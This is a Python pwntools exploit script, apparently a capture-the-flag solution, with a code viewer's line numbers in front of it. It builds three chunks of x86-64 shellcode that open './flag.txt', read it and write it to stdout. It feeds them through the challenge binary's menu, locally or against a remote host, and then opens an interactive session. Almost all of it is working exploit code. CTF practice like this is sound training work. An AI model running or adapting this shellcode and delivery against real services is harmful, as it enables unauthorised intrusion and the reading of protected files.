1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
from pwnlib import gdb
from typing import no_type_check
context.terminal = "tmux neww -a".split()
exe = context.binary = ELF(args.EXE or "./chall") # type: ignore
libc = exe.libc
assert libc is not None
@no_type_check
def start(argv=[], *a, **kw) -> tube:
if args.REMOTE:
host, port_str = args.REMOTE.split(":")
port = int(port_str)
return remote(host, port)
else:
return process([exe.path] + argv, *a, **kw)
def bp():
if isinstance(io, process) and args.GDB:
from pwnlib.util.proc import wait_for_debugger
wait_for_debugger(io.pid)
__import__("pdb").set_trace()
from pwn import *
shellc1 = """
/* push b'./flag.txt\x00' */
push 0x1010101 ^ 0x7478
xor dword ptr [rsp], 0x1010101
mov rax, 0x742e67616c662f2e
push rax
"""
shellc2 = """
/* call open('rsp', 'O_RDONLY', 0x4000) */
push SYS_open /* 2 */
pop rax
mov rdi, rsp
xor edx, edx
mov dh, 0x4000 >> 8
xor esi, esi /* O_RDONLY */
syscall
sub rsp, rdx
"""
shellc3 = """
/* call read('rax', 'rsp', 'rdx') */
mov rdi, rax
xor eax, eax /* SYS_read */
mov rsi, rsp
syscall
/* call write(1, 'rsp', 'rax') */
mov rdx, rax
push SYS_write /* 1 */
pop rax
push 1
pop rdi
mov rsi, rsp
syscall
"""
shellc1 = flat(asm(shellc1), length=0x20, filler=b"\x90")
shellc2 = flat(asm(shellc2), length=0x20, filler=b"\x90")
shellc3 = flat(asm(shellc3), length=0x20, filler=b"\x90")
io = start()
sla = io.sendlineafter
sa = io.sendafter
sl = io.sendline
ru = io.recvuntil
rl = io.recvline
bp()
sla(b"> ", b"1")
sla(b"> ", b"1")
sla(b"> ", shellc1)
sla(b"> ", b"2")
sla(b"> ", shellc2)
sla(b"> ", b"3")
sla(b"> ", shellc3)
sla(b"> ", b"4")
io.interactive()
|